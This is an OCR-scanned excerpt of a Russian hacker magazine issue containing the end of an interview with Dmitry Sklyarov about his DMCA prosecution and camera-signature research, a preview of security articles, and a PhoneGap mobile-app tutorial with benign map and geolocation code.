послало запрос в тюрьму, чтобы узнать, действи­

тельно ли меня в ней содержат. Те ответили:

<<Нет, такого нет>>. Оказывается, американская

система, она очень хитрая. Иск против меня был

Интервью с Дмитрием Скляровым

подан в Калифорнии. Соответственно, суд тоже

должен был состояться в Калифорнии. И пока я

не в Калифорнии- я не в тюрьме, я в транзите.

Информация о том, что я в тюрьме, недоступна,

а информацию о заключенных, находящихся в

транзите, не выдают в принципе. В итоге меня

все-таки нашли через два дня.

r.1 НО ВЫ СИДЕЛИ НЕ ТОЛЬКО В ВЕГ АСЕ, 1.;.1 ВЕРНО? КАКИМ БЫЛ <<ОПЫТ ОБЩЕ­НИЯ>> С АМЕРИКАНСКИМИ ТЮРЬМАМИ?

ГАl С транспортировкой вообще _было весело.

~ По закону человека, которыи находится в транзите, нельзя держать в одной тюрьме дольше

21 дня. Его могут перевозить из одной тюрьмы в другую и только потом привезти туда, куда он

должен попасть в конечном итоге. Сколько

времени должна занимать транспортировка,

никто не регламентирует. Я провел 11 дней в Лас-Вегасе, после этого меня самолетом для

заключенных отправили в Оклахому, в федераль­

ную пересыльную тюрьму. Она построена прямо

на краю летного поля, то есть самолет гейтуется

прямо в нее. Сама тюрьма- это пять комнат с

телевизорами, микроволновая печка, машина

для изготовления льда, много еды ... в общем, почти отель. :) В Оклахоме я провел неделю, после чего меня самолетом транспортировали в

Калифорнию, в Сан-Хосе .

Что касается тюрем, то до попадания в амери­

канскую тюрьму я успел поработать в стройотряде

и побывать на сборах в армии. Так вот, в амери­

канской тюрьме комфортнее, чем в стройотряде

и армии . Чтобы охранник бил заключенного без

повода- я подобного и близко не видел. Белого

братства, черно го братства- тоже .. . в Лас­Вегасе половина заключенных вообще мекси­

канцы, они испаноговорящие.

r.1 А ПОЧЕМУ ПРОДОЛЖАЛОСЬ ДЕЛО, 1.;.1 ЕСЛИ ADOBE ОТОЗВАЛА СВОИ ПРЕТЕНЗИИ?

ГАl Да, за то время, пока меня везли в Сан-Хосе,

~ Adobe успела отказаться от своих претен­зий. Но <<машина>> уже была запущена- меня

обвиняли в уголовном преступлении, истцом

выступал не Adobe, а государство . Adobe просто подала жалобу, ну, так они говорят. Соответствен­

но, государство сказало: <<Нет, дело мы закрывать

не будем, человек сидит, вот и пусть сидит>> . Обще­

ственное мнение явно было на моей стороне, по

всему миру начались манифестации.

А В ЧЕМ, СОБСТВЕННО, ВАС

ОБВИНЯЛИ?

В число обвиняемых по делу, помимо меня,

попал и Elcomsoft. А меня обвиняли в том, что я <<извлекал выгоду из распространения

запрещенной программы» и <<nродвигал на

рынок запрещенную программу>> . Я ничего этого

не делал. Я ее разрабатывал. Я не являлся

совладельцем компании, получающим прибыль,

не был ответственным за рекламу. Но был один

связующий пункт- <<сговор>>. Прокуратура

033

Page 36: haker

COVERSTORY

решила, что я нахожусь в сговоре с компанией.

На резонный вопрос о том, как подчиненный

может находиться в сговоре со своим руковод­

ством, прокуратура заявила, что я, вероятно,

состою в сговоре с компанией и с третьими

лицами . С какими именно лицами, прокуратура

отказалась говорить до суда. Таким образом, все

обвинения nротив меня строились только на предположении о сговоре .

r.1 ВАС В ИТОГЕ ВСЕ ЖЕ ... ВЫПУСТИЛИ ПОД ЗАЛОГ?

ГАl Да, во время второго слушания lв Сан-Хосе) ~ меня выпустили под залог в 50 тысяч долларов, который заплатил Elcomsoft. Ну и наше консульство поручилось, что я не сбегу, куча

людей пообещала, что они будут на моей стороне.

Нашлось место, где жить . Первым предложил

пожить у него американец, которого я до этого

никогда не знал. Потом появились русские

ребята, с которыми я тоже был до этого не

знаком, прекрасные люди. У них я прожил месяц.

Потом ко мне приехала семья, мы перебрались к

их друзьям, а через какое-то время сняли

квартиру, где прожили еще полгода . Раз в

неделю я должен был звонить в суд и раз в

неделю являться лично. В общем, арестовали

меня в середине июля 2001 года, выпустили под залог 6 августа, а суд состоялся в декабре 2002 года. К счастью, мне позволили вернуться в

Россию !спасибо адвокату Джо Кикеру), но только

на следующих условиях: дело против меня не

закрывается, а приостанавливается, я не являюсь

активным подследственным, однако должен

явиться по первому требованию суда. Перед

отъездом я должен был сделать depositioп

!показания под присягой) - видеозапись мои

показаний. Мне задавали забавные вопросы,

например : «Получал ли я когда-либо деньги от

российского правительства?>>. Я честно

признался, что да: я был студентом и получал

деньги от российского правительства. Потом

спросили, финансируется ли Elcomsoft россий­ским правительством и заказывало ли оно

разработку этой программы. Явно были такие вот

шпионские идеи. В итоге в декабре 2001 года мне разрешили уехать из Штатов, что я достаточно

быстро и сделал.

r.1 СУД, КАК УЖЕ ПРОЗВУЧАЛО ВЫШЕ, ... СОСТОЯЛСЯ ТОЛЬКО В ДЕКАБРЕ 2002. ВЫ НА НЕМ ПРИСУТСТВОВАЛИ?

ГАl Мне и президенту Elcomsoft Александру ~ Каталову не дали визу, но впустили в страну на суд по специальному документу PuЫic

lпteгest Рагоlе. Присяжные дня четыре думали и,

насколько я помню, 17 декабря признали компанию Elcomsoft нееиновной по всем пяти пункта м обвинения. С тех пор дело считается

закрытым. Я считаюсь человеком, которого

арестовали и которому предъявили обвинение,

потом обвинение сняли и дело закрыли. Все.

ЧТО ВЫ ДУМАЕТЕ ОБ ЭТОЙ ИСТОРИИ СЕЙЧАС, ПО ПРОШЕСТВИИ

НЕСКОЛЬКИХ ЛЕТ? КАК СЧИТАЕТЕ, ЧТО

ПОЛУЧИЛО ПРИЧИНОЙ, ЖАЛОБА АООВЕ ИЛИ ВСЕ ЖЕ ЧТО-ТО ИНОЕ?

ГАl Сейчас мне все зто представляется так. У

~ американцев был закон ОМСА. На тот момент он ни разу не применялея к физическому

лицу, и позтому им нужен был прецедент. Нужно

было, чтобы какой-нибудь человек написал

программу, после использования которой его

можно было бы признать виновным. Необходимо

было показать, что закон работает. В итоге

получилось, что Саша Каталов за свои деньги

защищал интересы американских граждан,

защищал их право писать такого рода ПО.

r.1 ВСЕ ЭТО ~К-ТО ПОВЛИЯЛО НА ВАШУ ... ДАЛЬНЕИШУЮ КАРЬЕРУ, ЖИЗНЬ? БЫЛИ ПРЕДЛОЖЕНИЯ ОТ ДРУГИХ РАБОТО­

ДАТЕЛЕЙ?

ГАl Была большая активность со стороны СМИ,

~ но через два года все успешно забыли об этом деле. Предложений о работе я не получал. В

Штатах тем более- там у меня не было

разрешения на работу.

r.1 ЧТО Ж, ОСТАВИМ ДЕЛА ДАВНО ... МИНУВШИХ ДНЕЙ И ПОГОВОРИМ О НАСТОЯЩЕМ. НАД ЧЕМ РАБОТАЕТЕ

СЕЙЧАС?

ГАl Ну, детально описывать не буду ... Много над ~ чем идет работа. Никаких новых, прорыв­ных продуктов я вам обещать не могу. Но кто

знает, может быть, у кого-нибудь родится

гениальная идея, и эту идею за две недели

реализуют на практике .

КНИГИ БОЛЬШЕ ПИСАТЬ НЕ

СОБИРАЕТЕСЬ?

С книгой ситуация была простая- мне

предложили ее написать, и я написал. Быть

может, писать детективы экономически выгодно,

но писать техническую или научную литературу ... Если бы я больше ничего не умел, то, возможно,

зарабатывал бы именно этим. Но время,

потраченное на написание книги, не окупилось

даже за те пять или шесть лет, в течение которых

книга была в продаже. Всего было напечатано

порядка 9 тысяч экземпляров .

r.1 НЕДАВНО НА CONFIOENCE 2.0 В ПР АГЕ ... ВЫ СДЕЛАЛИ ДОКЛАД О ВЗЛОМЕ ЦИФРОВЫХ ПОДПИСЕЙ В КАМЕРАХ CANON. ОТКУДА ПОЯВИЛАСЬ ЭТА ИДЕЯ?

ГАl Я тоже люблю фотографировать, у меня

~ тоже есть фотоаппарат IСапоп) . Предысто­рия такова- одно время у нас работал

сисадмин, который купил себе Са поп 3000, и я, глядя на него, купил себе Сапоп 3500. Тогда я и узнал, что Сап оn есть технология подписи

изображений, которые делает камера, но в моем

аппарате она, к сожалению, не была реализова­

на. Через два года я купил Сапоn 300, где эта

технологий уже использовалась. Мне стало

интересно, как до нее добраться . Я стал рыться в

Интернете и нашел некоторые наработки по

Саnоп. Оказалось, есть такой опенсорсный

проект под названием Magic Laпteгn, в рамках которого люди дописывают к прошивке Canon свой код, чтобы увеличить функциональность

фотоапапарта. Также существует форум проекта

Са поп Hackeгs Oevelopeгs Kit, где люди обсуждают, как расширить функциональность

«мыльниц>> и «зеркалок>> . Там я нашел

информацию о том, как расшифровать апдейт от

Сап оn для последующего анализа, стал

экспериментировать и пришел к тому, к чему

пришел. Итог был удачно продемонстрирован на

CONFideпce 2.0. С камерами Nikoп все оказалось еще легче. После покупки железяки lusЬ-донгл) для проверкиподписи все было очень просто . Мне хватило чужого фото с подписью, найденно­

го в Сети, и железки . Путем анализа я выяснил,

как происходит формирование и проверка

подписи и как ее подделать . Фотоаппарат Nikon я даже в руках не держал.

r.1 МОЖЕТЕ ПОРЕКОМЕНДОВАТЬ 5-10 ... КНИГ, КОТОРЫЕ НУЖНО ПРОЧИТАТЬ ЧЕЛОВЕКУ, ЖЕЛАЮЩЕМУ ЗАНИМАТЬСЯ

ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТЬЮ?

ГАl Тем, кто хочеттак или иначе использовать

~ криптографию, рекомендую Pгactical cгyptogгaphy Нильса Фергюсона и Брюса

Шнайера. Это не справочник, а книга, которая

помогает понять, почему и как нужно использо­

вать криптографию. А так ... Я, к сожалению или к счастью, учил безопасность не по книжкам . Когда

я начинал этим интересоваться, в России таких

книг просто не было . Практика, только практика.

Конкретных книг посоветовать, увы, не могу.

r.1 КАК ВЫ ОЦЕНИВАЕТЕ РОССИЙСКОЕ ... ОБРАЗОВАНИЕ В СФЕРЕ ИТ? НЫНЕШНИХ СТУДЕНТОВ, НАШИХ

ПРОГРАММ ИСТОВ?

ГАl Если говорить в целом, с образование беда.

~ Преподают хорошо, но у студентов нет возможности учиться нормально . Я смотрю на

своих студентов- половина из них работает, и

работает на полную ставку . Как можно учиться на

дневном отделении и работать на полную ставку,

я не представляю. Когда они учатся и какие у них

знания на выходе, не знаю. Но понятно, что

работают они не потому, что им скучно, а потому,

что на стипендию выжить нельзя.

У нас выпускают тысячи инженеров, но из

них едва 1 %справляется с задачами, к решению которых их готовят. Что касается программ истов,

ответ у меня будет такой. Один мой знакомый,

очень умный человек, тоже работающий в IT, как-то сказал: «Количество гениальных nро­

граммистов в России слегка преувеличено>>. У

нас действительно есть классные программисты,

но очень плохо с культурой коллективной работы.

Поэтому умных программистов у нас, может, и

много, но продуктов российского производства

очень мало. ::х:

ХАКЕР 01 /156/2012

Page 37: haker

Preview взлом

ПРОБ11ВАЯЛОТУС,

ИЛИ ИСТОРИЯ ОДНОГО ПЕНТЕСТА

Некоторые сnециалисты по ИБ nроводят

тесты на nроникновение п о nростой

схеме : заnустил сканер~ nолучил отчет

~nередал отчет заказчику~ nолучил

вознаграждение. Но это история про

неумелых лентяев. Настоящего nентесте­

ра не исnугает необходимость настоящего

ресерча.Леша Синцо в рассказывает

историю о n е нтес те внутри одного круn­

ного n редnриятия, где ему nришлось

изрядно nо ковыряться с Lotus Domino Contгolleг и самому наnисать сnлоит для

уязвимоеого сервиса. Где удалось найти

nодсказки, как был отреверсен nротокол,

и где накосячили nрограммисты IВМ­

читай в этой статье.

PCZONE

36 МОБИЛЬНОЕ ПРИЛОЖЕНИЕНА HTML5 Можн о л и разрабатывать для And гoid и iOS, не изучая их нативных языков? Заnросто.

Создаем nолноценное nриложениедля

разных мобильных nлатформ заЗ О минут.

СЦЕНА

• ХАКСПЕЙСЫ По всему миру можн о насчитать около

500 хаксnейсов, где вместе работают увлеченные ИБ люди. А теnерь такие

организации nоявились и в России.

ХАКЕР 01/156/2012

30 стран и цжурнала на одной полосе .

Ти з е р некоторых статей.

ЧТОДЕЛАТЬ С ШЕЛЛОМ В СИСТЕМЕ?

Большая шnаргалка nотому, что можно

сделать в консоли системы с nомощью

стандантных средств, не nрибегая кдо­

nолнительному ПО.

MALWARE

• СИЛЕН DUQU ОЧЕНЬ Ввирлабахnовсемумируанализируют

тело нового зловреда, который по ряду

nризнакаеда неnриличия nохож на на­

шумевший Stuxnet.

взлом

КАКУГНАТЬБОТНЕТ?

Несколькоуязвимостейвадминкезловре­

да-три захвачнных ботнета. Это истори я

атом, чтоошибки в коде частенькоделают

и разработчики малвари.

ОБНАРУЖЕН ВООТКIТ!

Мы взяли несколько вирусов, зара­

жающих MBR, и nосмотрели, насколько умело их могутобнаружить 5 nоnуляр­ных антивирусных решения.

035

Page 38: haker

PCZONE

PhoneGap:мoб приложение

на HTML5 КАКСОЗДАТЬ ПРОГРАММУ ДЛЯ СМАРТФОНА ЗА ПОЛЧАСА

Изучить новый язык и среду

разработки- это минимум, что от тебя

потребуется, если ты захочешь написать

свое первое мобильное приложение .

Чтобы с пониманием набросать

элементарный todo list для Aпdroid или iOS, не передирая пример из книжки, уйдет не меньше пары недель. Но можно

не осваивать Objective-C или Java и при этом быстро разрабатывать приложения

для смартфонов, если использовать такие

технологии, как PhoneGap.

._ ..... ~--·­-·--

---·-... ..... ...

Запуск приложен и я в симуляторе iOS

036

Е ели ты внимательно изучал нововведения, которые ожидают

нас в Windows 8, то , возможно, заметил, что nод ней можно

будет разрабатывать nриложения на HTML5. Идея, на са-мом деле, не новая- технологии, реализующие тот же nодход для

мобильных nлатформ, развиваются семимильными шагами . Одним

из таких фреймворков, n озволяющим разрабатывать nриложения для

смартфонов с nомощью связки nривычных для нас HTML, JavaScг i pt

и CSS!, как раз и является PhoneGap. Наnисанное с его nомощью nриложение nодойдет для всех nоnулярных nлатформ: iOS, Andгoid, Windows Phone, ВlасkЬеггу, WebOS, SymЬian и Bada. Тебе не нужно будет изучать особенности nрограммирования nод каждую nлатформу

[наnример, Objective-C в случае с iOS), разбираться с различными API и средами разработки. Все, что nотребуется для создания кросс­

nлатформенного мобильного nриложения,- зто знание HTML5 и специального PhoneGap API. При зто м на выходе nолучится не тупая НТМL-страница, <<обра мленная >> в интерфейс приложения, нет! API фреймварка nозволяет задействовать nрактически все возможности

телефона, которые исnользуются nри разработке с nомощью нативных

инструментов: доступ к акселерометру, комnасу, камере [запись видео и фотосъемка), сnиску контактов, файловой системе, системе нотифи­

каций !стандартны х уведомлений на телефоне), хранилищам и т. д. На­конец, такое приложение может безболезненно обращаться к любому

кросс-доменному адресу. Ты можешь воссоздать нативные элементы

уnравления с помощью фреймворков вроде jQueгy MoЬile или Seпcha,

и конечная программа будет выглядеть на мобильном телефоне так,

как будто она написана на нативном языке [ну или nочти так) . Лучше всего nроиллюстрировать вышесказанное на деле, то есть наnисать

приложение, nозтому предлагаю сразу nристуnить к практике. Засекай

время- на все про все уйдет едва ли больше получаса .

ЧТО МЫ БУДЕМ СОЗДАВАТЬ В качестве целевой nлатформы воз ьмем iOS- да-да, деньги лежат в AppStoгe, и монетизировать свои разработки nока лучше

всего там:). Но сра зу внесу ясность : все то же самое , без измене­ний , можно проверн у ть, скажем, для Andгoid. Долго думал , какой

nример рассмотреть, так как писать очередную тулзу для учета

ХАКЕР 01/156/2012

Page 39: haker

Геонапоминалка Точки

Ирбитская УЛ .

Страница с картой, открытая в мобильном браузере. Это еще не iOS приложение .

списка дел совершенно не хоте л ось. П оэтому я решил создать

nриложение nод названием << Геонаnоми н алка», навигационную

nрогу, назначение которой можно описать одной фразой: <<Со ­

общи мне, когда я снова тут окажусь». В AppStoгe есть немало

ути лит, которые позволяют «за n ом ни ть>> место, где пользова­

тель приnарковал машину. Это почти то же самое, только чуть

поnроще. Ты сможешь указать на карте города точку, задать

для нее оnределенный радиус и заnрограммировать сообще­

ние. Когда ты в с л едую щи й п о паде шь в пр еделы окружности

с указанным радиусом, приложение выдаст тебе уведомление,

а точка будет удалена. Будем действовать по такому плану: сна­

чала создадим nростое веб-nриложе ние, nроверим его в брау­

зе ре, а затем перенесем с помощью PhoneGap на nлатформу iOS. Очень важно наnисать в прототипе и протестировать в браузе ре

на комnьютере основную часть кода, n оскольку отлаживать nри­

ложение в телефоне гораздо сложнее. В качестве каркаса мы

возьмем J S-фреймворк jQueгy с jQue г y Mobile [ jqueгymobile . com l, а в качестве движка карт- Google Maps vЗ. Пр иложение будет состоять из двух страниц: карты и сnиска точек .

Накарте устана вливаетсямаркертвоеготекущегоположения.

П о кл ику на карте создается точка, к которой nривязывается со­

об щени е [вроде <<ма шина рядом>>!. Точку можно удалить, клик нув на ней. Для перемещения маркера человека по карте использу­

ется геонавигационный API. На странице со сnиском точек должна иметься дополнительная

к н опка <<Удалить все точки >>, а рядом с каждой точкой- к н опка

<<Удал ить эту т очку>>. Если кликнуть по элементу в сnиске, соот­

ветствующая точка отобразится на карте . Н астройки пользова­

теля и списокточек будем сохранять в locaiStoгage .

ХАКЕР 01 /156/2012

PhoneGap: мобильное п риложениена HTML5

КАРКАС ПРИЛОЖЕНИЯ Сразу объясняю, зачем мы будем использовать jQueгy MoЬile.

Эта JS-библиотека предоставляет нам уже готовые элементы

интерфейса мобильного nриложения [максимально nриближенные

к нативнымl для самых разных nл атформ. На м ведь надо, чтобы на выходе было именн о мобильное приложение, а не страничка

из браузера! Так что качаем последнюю версию JQueгy MoЬile

[jqueгymoЬile.com/download l и перен осим в рабочую паnку nервые файлы nриложения, которые нам понадобятся:

images/ [nеренеси сюда все изображения из одноимен ной nапки архива jq-moЬilel; index.css;

index.html; index .js;

• jqueгy.js;

• jqueгy.moЬile.min.css;

• jqueгy.moЬile . min.js.

Нужно сделать ресурсы в основном локальными, чтобы пользо­

ватель в будущем не тратил мобильный интернет. Теnерь создаем

каркас страниц в файле index.html. Приведенный ниже код описы­

вает верхнюю часть страницы с картой, надписью << Геонапоминал­

ка>> И КНОПКОЙ <<ТОЧКИ >>.

Страница с картой

cdiv data-role= "page" data-dom-cache= "true" class="page-map" id= "index" >

cdiv data-role= "header" >

с hl > Геонаnоминалка с/ hl >

са href= "#points" class= "ui-btn-right" id= "menu-points" data-transition= "pop" >Toчки c/a>

c/div> cdiv data-role= "content" > cdiv id= "map-canvas" > с ! -- Тут будет карта-->

c/div>

c/div> c/div>

Атрибут страницы data-dom-cache="true" необходим для того, чтобы она не выгружалась из памяти . Для кнопки <<Точки>> используется

data-transition="pop", чтобы страница <<Сnисок точек>> открывалась с эффектом << Всnлытие >>. Подробнее о том, как устроены страницы

jQueгy MoЬi l e, можно почитать в хорошем мануале [ Ьit.ly/vtXXЗM I .

ДРУГИЕ ПОЛЕЗНОСТИ PHONEGAP

Кроме потрясающей платформы для мобильных приложений,

PhoneGap также предоста вляет сервис для сборки твоего

приложения в << облаке>> . Под все платформы и в один клик! Сборщик

условно бесплатный. Ты можешь зарегистри роваться на сайте

PhoneGap Build [build .phonegap.com l и получить достуn к сборщику. С его помощью ты вправе соб рать неограниченное число пр иложений

с открытым исходным кодом и одно приложение с зак рытыми

исходниками. Понятно, что если нужно скомп илировать больше

закрытых приложений, то придется немного заплатить.

Если тебе не хватает какого - нибудь функцианала в <<базовой

комплектации>> PhoneGap, то ты можешьрасширить его возможности с помощью плагинов . Существует целый репазитарий lgithub.com/ phonegap/phonegap-p luginsl, который включает в себя четыр е

ра здела iPhone, Android, Palm, Bla ckBerry. Сейчас под iOS написа н о

более 20 плаrинов: BarcodeScann er [сканер штрих-кодов!. AdPI-ugiп [отображения рекламы iAdl, NativeCont rol s lнативные для iOS контролыl и другие.

037

Page 40: haker

PCZONE

По аналогии создаем страницу со сnиском точек:

Страница со списком точек

cdiv data-role="page" data-dom-cache="true" class="page-pints" id="points" >

cdiv data-role="header" > <!--Удаляет все точки из списка-->

са href="#" data-theme="b" data-icon="delete" id= "delete-all" >Yдaлить все</а>

chl>Toчкиc/hl>

<!--Кноnка Карта-->

са href="#index" class="ui-btn-right" data-transition="pop" data-direction="reverse" > Карта

</а>

</div>

cdiv> <!--Список точек-->

cul id="list" data-role="listview" data-inset="true" data-split-icon= "delete" >

</ul> </div> c/div>

Для кноnки <<Карта>> тоже nроnишем data-tгansition=>>pop>>,

но добавим атрибут data-diгection=>>гeveгse>>, чтобы страница

<<Карта>> открывалась с эффектом <<Затухание>>. Те же атрибуты

nроnишем в шаблоне точки . Все, наш каркас готов.

СОЗДАНИЕПРИЛОЖЕНИЯ Теперь надо отобразить карту, для чего мы возьмем стандартный

API Google Maps, который используется миллионами разных сайтов:

var latlng = new gm.Latlng( this .options.lat, this .options.lng);

t his .map = new gm.Map(element, {

});

zoom: this .options.zoom, // Выбираем начальный зум center: latlng, //Устанавливаем начальный центр mapTypeid: gm.MapTypeld.ROADMAP, // Обычная карта disaЬleDouЫeClickZoom: true ,

/1 Отключаем автозум по тапу/двойному клику disaЬleOefaultUI: t rue

/1 Отключаем все элементы интерфейса

Здесь Gm- это nеременная, ссылающаяся на объект Google Maps. Параметры инициализации я хорошо закомментировал в коде. Следующий шаг- отрисовка маркера человечка на карте:

t his .person = new gm.Marker({ map: t his .map, icon: new gm.Markerlmage(PERSON_SPRITE_URL,

new gm.Size(48 , 48 )) });

В качестве PERSON_SPRITE_URL исnользуется адрес сnрайта человечка иэ Gооglе -панорам. Его статический адрес- maps.gstatic. com/mapfiles/cЬ/mod сЬ scout/cb scout spгite api OOЗ . png . Поль­

зователь будет добавлять точки, кл икая на карте, nоэтому, чтобы их

отрисовывать, мы будем слушать событие click:

gm.event.addlistener(this .map, 'click' , f unct i on (event) self.requestMessage( function (err, message) { 11 Метод, возвраutающий текст, введенный пользователем

if (err) return ; /1 МетоА добавляет точку в список активных и

038

EnableViewportScale

Externa!Hosts

ltemO

ltem 1

ltem 2

ltem 3

MediaPiaybackRequiresUserAction

Проnисываем ExternaiHosts

// отрисовывает ее на карте self.addPoint(event. latlng,

00 Boolean NO

Array . (41tems) . String csi .gstatic.com

String •.googleapis.com

String maps.goog le.com

String maps.gstatic.com

Boolean NO

self.options.radius, message); self.updatePointslist(); // Перерисqвываем с nисок точек

}); }, false );

Я nривожу бОльшую часть кода - остальное ищи на диске.

Дальше нам нужно научить nриложение nеремещать иконку nоль­

зователя по карте. В nрототиnе мы задействуем Geolocation AP I !тот, который исnользуется в том чи сле в десктоnных браузерахl:

if (navigator.geolocation) { /1 Проверяем, поддерживает ли браузер геолокацию

function gpsSuccess(pos) { var lat, lng; if (pos.coords) {

}

lat pos.coords.latitude; lng pos.coords.longitude;

el se lat lng

pos.latitude; pos.longitude;

self.movePerson( new gm.Latlng(lat, lng)); /1 Перемещаем иконку пользователя

/1 Каждые три секунды запрашиваем текущее

/1 положение пользователя window.setinterval( function () { /1 Заnрашиваем текущее nоложение

navigator.geolocation.getCurrentPosition(gpsSuccess, $.noop, { enaЫeHighAccuracy: true , maximumAge: зеееее

}); } , зеее);

}

Метод movePeгson с nомощью nростой nроцедуры

getPointslnBoundsll nроверяет, не находится ли nользователь в какой-нибудь активной точке. Последний воnрос- где хранить

сnисок точек? В HTML5 появилась возможность исnользовать locaiStoгage, так что не будем ей nренебрегать !nредоставляю тебе самостоятельно разобраться с этими участками кода, которые я

хорошо закомментировалl. Итак, nриложение, работающее в брау­

зере, готово!

ЗАПУСК ВЕБ-ПРИЛОЖЕНИЯ Как я уже говорил, отладку в основном необходимо выnолнять

на комnьютере . Самый nодходящий браузер для тестирования

веб-приложений на комnьютере - это Safaгi или Chгome. П осле

отладки в этих браузерах ты можешь быть увере н в том, что твое

nриложениене <<nоедет>> в браузе ре мобильного телефона . Оба

этих браузера совместимы с большинством мобильных веб­

браузеров, nосколькуточно так же, как и они, nостроены на основе

движка WebKit . п~сле устранения всех бэгов можно nереходить к заnуску мобильh ~ го веб-nриложения неnосредственно на теле-

ХАКЕР 01 / 156/ 2012

Page 41: haker

Нативные уведомления в iOS

фоне. Для этого настрой свой веб-сервер (nусть даже Denweг или XAMPPI, чтобы он отдавал созданную страницу, и открой ее уже в браузе ре мобильного телефона. Приложение должно выглядеть

nримерно так, как показано на рисунке . Тут важно пони мать, что

будущее мобильное приложен и е, собранное для мобильной плат­

формы с nомощью PhoneGap, будет выглядеть почти один в один, за исключением того, что на экране не будет отображаться на­

вигационная панель браузера. Если все хорошо, можно приступать

к созданию из странички полноценного i05-приложения. Заметь,

что PhoneGap и IDE для мобильной разработки мы до этого момента даже не трогали.

ПОДГОТОВКА Для того чтобы собрать nриложение под i05, тебе нужен компьютер с оnерационной системой Мае 05 10.6+ (или виртуальная машина на Мае 05 10.61, а также среда разработки Xcode с установленным i05 50 К. Если у тебя не устано влен 50 К, nридется с качать с сайта Apple образ диска. включающий в себя Xcode и i05 50 К ldeve l opeг. app l e . com/devcenteг/ i os/index.act i on l . Имей в виду, что образ весит около 4 Г б . Кроме этого, те ' е понадобится зарегистрироваться

на сайте Apple в качествР разработчика (если ты не собираешься nубликовать свое прил ·,жение в Арр5tоге, то это требование можно

обойти!. С помощью э·, ого набора можно разрабатывать приложе­ния на нативном для i05 языке Objective-C. Но мы решили пойти об­ходным путем и воспользоваться PhoneGap, поэтому нам еще нуж­но установить пакет PhoneGap i05. Просто с качай архив с офсайта lhttps://g ithub .com/callback/phonegap/zipba ll /1.2 .01, распакуй его и в папке i05 запусти программу установки. Когда установка завер ­

шится, в меню проектов Xcode должна появиться иконка PhoneGap. После запуска придется заполнить несколько форм, но уже очень

скоро ты увидишь рабочую область IDE с твоим первым приложен и-

ХАКЕР 01/156/2012

PhoneGap: мобильное приложениена HTML5

ем. Чтобы проверить, все ли работает, нажми кноnку Run- должен запуститься эмулятор iPhone/iPad с шаблонным приложением PhoneGap. Собранная программа выдаст ошибку с сообщением о том, что index.html не найден,- это нормально. Открой папку,

в которой ты сохранил nервичные файлы nроекта, и найди в ней

подnапку www. Перетащи ее в редактор, кликни на иконке прило­жения в списке слева и в появившемся окне выбери <<Сгеаtе foldeг

гefeгences fог any added foldeгs». Если запустить программу еще раз, то все должно заработать. Теперь можно скопировать все фай­

лы нашего прототипа в папку www. Пора подпилить наш прототип для работы насмартфоне в обработке PhoneGap.

ПЕРЕНОС ПРОТОТИПА В первую очередь нужно подключить phonegap-1.2 .0.js в твой ин­дексный файл . PhoneGap позволяет ограничивать список доступ­ных для посещения хос тов . Предлагаю сразу настроить такой <<бе­

лый список>>. В меню проекта открой 5uppoгting Fil es/PhoneGap. plist, найди пункт E xteгnai H osts и добавь в него следующие хосты, к которым будет обращаться наше приложение (это сервера Google Mapsl: *gstatic.com, *googleapis.com, maps.google.com. Если их не указать, программа выдаст предупреждение в консоли и карта

не отобразится. Для инициализации веб-версии нашего прило­

жения мы использовали событие DOMReady или хелпер jQueгy :

$1documentl.гeadyll. PhoneGap генерирует событие deviceгeady, которое говорит о том , что мобильное устройство готово . Предла­

гаю этим воспользоваться:

document.addEventListener( "deviceready" , function () { new Notificator( $( "#map-canvas" )[ е ));

/1 Если у пользователя нет интернета, 11 сообщаем ему об этом if (navigator.network.connection.type

Connection.NONE) { navigator.notification.alert( "Heт интернет-соединения" ,

$.noop, TIТLE);

}, false);

Это событие проверяет, есть ли у пользователя хот ь какое­

нибудь интернет-соединение. Если его нет, выводим соответствую­

щее сообщение. Вместо функции navigatoг. notification.aleгt можно

использовать более привычную aleгt, но ее минус в том, что она вы­

глядит менее естественно для мобильного приложения. Сейчас нам

хватит и этих знаний, н о ты можешь подробнее прочитать о netwo гk . connection I Ьit . ly/uEyRwz l и способах нотификации IЬit.ly/tkvzE2 1.

Запретим скроллинг:

document.addEventlistener( "touchmove" , function (event) { event.preventDefault();

} , false );

Затем заменим все вызовы aleгt и confiгm на нативные, которые

nредоставляет нам PhoneGap:

navigator.notification.confirm( 'Yдaлить точку?' ,

function (button_id) {

UI-ФРЕЙМВОРКИ

jQuery Moblle- это, конечно, не единственный фреймворк для

создания мобильного интерфейса. На сайте PhoneGap приведен огромный список библиотек и фреймворков, которые ты можешь

использовать [phonegap.com/tools l: 5encha Touch, lmpact, Dojo Mo­Ьile, Zepto.js и др.

039

Page 42: haker

PCZONE

i f (button_id === 1) { // Нажата кнопка ОК self.removePoint(point);

} }, TIТLE );

П оследнее , что нам нужно nоменять,- это блок кода, nере ­

мещающиi.i иконку nользователя по карте. Наш текущий код тоже

работает, но работает менее оnтимально ln еремещает иконку, даже

если координаты н е изменилисьl и дает н е такие богатые данные, как аналог в Ph oneGap:

navigator.geolocation.watchPosition(function (position) { self.movePerson( new gm.LatLng(

position.coords.latitude, position.coords.longitude));

}, fu nction (error) { navigator. notification.alert( 'code: · + error.code + '\nmessage: ' + error.message, $.noop, TIТLE

);

} ' { frequency: зеее

});

Этот код бол ее изящный- он генерирует соб ыти е т олько

тогда, когда координаты изменились. Жмем кноnку Run и убеж­даемся, что только что созданное нами nриложение отлично

работает в симуляторе iОS -устройства' П ора nристуnать к заnуску

на реальном устройстве.

ЗАПУСК НА УСТРОЙСТВЕ Подсоедини iPhone, iPod или iPad к комnьютеру, на котором за­nущен Xcode. Программ а оnределит новое устройство и nоnро­

сит разрешения исnол ьз о в а ть его для разработки. Н ет см ы сла

ей отказывать :1. П овторю еще раз : чтобы заnустить наnисанное

ДРУГИЕ ПЛАТФОРМЫ

Кроме PhoneGap, существуют и другие nлатформы, позволяющие

создавать мобильные nриложения без исnользования нативных

языков . П еречислим наиболее крутых игроков.

Appcelerator Titanium lwww. appceleгatoг.com l.

Titanium умеет собирать п риложения в nервую очередь под Andгoid и iPhone, но в нем также заявлена nоддержка ВlасkВеггу. Кроме самого фреймворка, nроект nредоставляет набор нативных

виджетов и IDE . Ты можешь разрабатывать nрил оже ни я на Tita­nium бесnлатно, однако за поддержку и до nол нительные модули

придется заплатить [от $49 в месяц]. Цена некоторых сторонних модулей доходит до $120 за год. Разработчики Аррсе l егаtог Titanium утверждают, что на основе их фреймфор ка наn иса но бол ее 25 тысяч приложений. Исходный код nроекта расnространяется nод

лицензией Apache 2.

Corona SDK lwww.anscamoЬile . com/coгona l .

